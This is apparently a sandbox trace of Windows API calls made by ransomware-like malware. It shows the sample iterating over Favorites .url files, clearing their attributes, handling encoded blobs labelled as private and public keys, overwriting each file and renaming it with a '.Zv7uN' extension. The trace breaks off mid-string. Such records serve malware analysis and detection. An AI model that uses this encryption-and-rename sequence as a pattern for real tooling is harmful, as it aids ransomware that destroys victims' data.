GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\ie site on microsoft.com.url"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa066c0, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0125.961] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\ie site on microsoft.com.url")) returned 0x20 [0125.961] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url", dwFileAttributes=0x80) returned 1 [0125.963] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0125.963] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0125.964] GetCurrentThreadId () returned 0xa30 [0125.965] GetCurrentThreadId () returned 0xa30 [0125.965] GetCurrentThreadId () returned 0xa30 [0125.965] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0125.965] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f0109c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0125.965] GetCurrentThreadId () returned 0xa30 [0125.966] GetCurrentThreadId () returned 0xa30 [0125.966] GetCurrentThreadId () returned 0xa30 [0125.966] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\ie site on microsoft.com.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0125.966] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0125.966] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0125.966] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x85 [0125.966] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0125.967] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f08ea0, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f08ea0*, lpNumberOfBytesRead=0x18f3d4*=0x85, lpOverlapped=0x0) returned 1 [0125.969] CloseHandle (hObject=0x1e8) returned 1 [0125.969] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\ie site on microsoft.com.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0125.971] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f0aed0*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f0aed0*, lpNumberOfBytesWritten=0x18f3e0*=0x85, lpOverlapped=0x0) returned 1 [0125.973] CloseHandle (hObject=0x1e8) returned 1 [0125.974] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\ie site on microsoft.com.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url.Zv7uN" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\ie site on microsoft.com.url.zv7un")) returned 1 [0125.975] GetCurrentThreadId () returned 0xa30 [0125.975] GetCurrentThreadId () returned 0xa30 [0125.975] GetCurrentThreadId () returned 0xa30 [0125.975] GetCurrentThreadId () returned 0xa30 [0125.975] GetCurrentThreadId () returned 0xa30 [0125.975] GetCurrentThreadId () returned 0xa30 [0125.975] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Microsoft At Home.url", cAlternateFileName="MICROS~3.URL")) returned 1 [0125.975] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0125.975] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0125.975] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft at home.url"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0125.977] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft at home.url")) returned 0x20 [0125.977] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Home.url", dwFileAttributes=0x80) returned 1 [0125.979] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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